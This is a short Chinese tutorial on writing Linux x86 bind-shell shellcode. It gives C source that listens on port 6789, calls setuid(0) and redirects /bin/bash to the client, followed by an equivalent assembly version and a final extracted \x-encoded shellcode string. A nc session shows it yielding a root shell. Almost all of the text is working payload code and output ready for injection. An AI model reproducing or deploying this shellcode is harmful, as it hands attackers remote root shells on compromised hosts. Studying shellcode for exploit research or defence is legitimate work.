shellcode编写
retsh.c
绑定端口的shellcode
// retsh.c
void main(){
int server = socket(AF_INET, SOCK_STREAM, 0); // socket(2, 1, 0)
struct sockaddr_in server_addr = { 0 }, client_addr = { 0 };
server_addr.sin_family = AF_INET; // 2
server_addr.sin_addr.s_addr = htonl(INADDR_ANY); // 0
server_addr.sin_port = htons(6789); // port
bind(server, (struct sockaddr*)&server_addr, sizeof(server_addr));
listen(server, 128);
unsigned int len = sizeof(client_addr);
int client = accept(server, (struct sockaddr*)&client_addr, &len);
setuid(0);
//重定向 STDIN STDOUT STDERR 至client
dup2(client, STDIN_FILENO); // 0
dup2(client, STDOUT_FILENO); // 1
dup2(client, STDERR_FILENO); // 2
execve("/bin/bash", NULL, NULL);
}
启动服务端监听
rz$ gcc -m32 retsh.c -o retsh
rz$ sudo chown root.root retsh
rz$ sudo chmod u+s retsh
rz$ ./retsh
客户端连接
rz$ nc 127.0.0.1 6789
whoami
root
编写汇编
用到的系统函数有:
// 359
int socket(int domain, int type, int protocol);
// 361
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
// 363
int listen(int sockfd, int backlog);
// 364
int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flag);
// 23
int setuid(uid_t uid);
// 63
int dup2(int oldfd, int newfd);
// 11
int execve(const char *filename, char *const argv[], char *const envp[]);
shell.asm:
; shell.asm
global _start
_start:
; int server = socket(2, 1, 0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov bl, 0x2
mov cl, 0x1
mov ax, 359
int 0x80
mov esi, eax ; 结果存入esi中
; bind(server, (struct socrkaddr*)&server_addr, sizeof(server_addr))
xor eax, eax
xor ecx, ecx
push eax ; 0x0
push eax ; 0x0
push eax ; 0x0
mov eax, 0x851a0002 ; 0x851a0002
push eax
xor eax, eax
mov ebx, esi ; server
mov ecx, esp ; &server_addr 0x851a0002 0x00000000 0x00000000 0x0000000
xor edx, edx
mov dl, 0x10 ; sizeof(server_addr) -> 16
mov ax, 361
int 0x80
; listen(server, 128)
xor ecx, ecx
mov ebx, esi ; server
mov cl, 128 ; 128
mov ax, 363
int 0x80
; int client = accept4(server, (struct sockaddr*)&client_addr, &len, 0);
mov ebx, esi ; server
xor edx, edx ; flag 0
xor eax, eax
push eax ; 0x00
push eax ; 0x00
push eax ; 0x00
push eax ; 0x00
mov ecx, esp ; client_addr
mov al, 0x10 ; 16
push eax
mov edx, esp ; &len
xor esi, esi ; 0
mov ax, 364
int 0x80
mov edi, eax ; 结果存入edi中
; setuid(0)
xor eax, eax
xor ebx, ebx ; 0
mov al, 23
int 0x80
; 重定向STDIN STDOUT STDERR 至client
xor eax, eax
xor ecx, ecx ; ecx清零
mov ebx, edi ; client
mov al, 63
int 0x80 ; dup2(client, STDIN)
xor eax, eax
mov al, 63
inc ecx
int 0x80 ; dup2(client, STDOUT)
xor eax, eax
mov al, 63
inc ecx
int 0x80 ; dup2(client, STDERR)
; execve("/bin/bash", NULL, NULL)
xor eax, eax
xor ebx, ebx
xor ecx, ecx ; NULL
xor edx, edx ; NULL
mov al, 0x68
push eax
mov eax, 0x7361622f
push eax
mov eax, 0x6e69622f
push eax ;/bin/bash
mov ebx, esp ; /bin/bash
xor eax, eax
mov al, 11
int 0x80
编译链接
rz$ nasm -f elf shell.asm -o shell.o
rz$ ld -m elf_i386 shell.o -o shell
验证
rz$ sudo chown root.root shell
rz$ sudo chmod u+s shell
rz$ ./shell
客户端连接
rz$ nc 127.0.0.1 6789
whoami
root
提取shellcode
for i in `objdump -d shell.o | grep "^[[:space:]]*[0-9a-f]\+:" | cut -f 2`; do
echo -n \\x$i;
done
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\x66\xb8\x67\x01\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x50\x50\xb8\x02\x00\x1a\x85\x50\x31\xc0\x89\xf3\x89\xe1\x31\xd2\xb2\x10\x66\xb8\x69\x01\xcd\x80\x31\xc9\x89\xf3\xb1\x80\x66\xb8\x6b\x01\xcd\x80\x89\xf3\x31\xd2\x31\xc0\x50\x50\x50\x50\x89\xe1\xb0\x10\x50\x89\xe2\x31\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc7\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xc9\x89\xfb\xb0\x3f\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x68\x50\xb8\x2f\x62\x61\x73\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\xcd\x80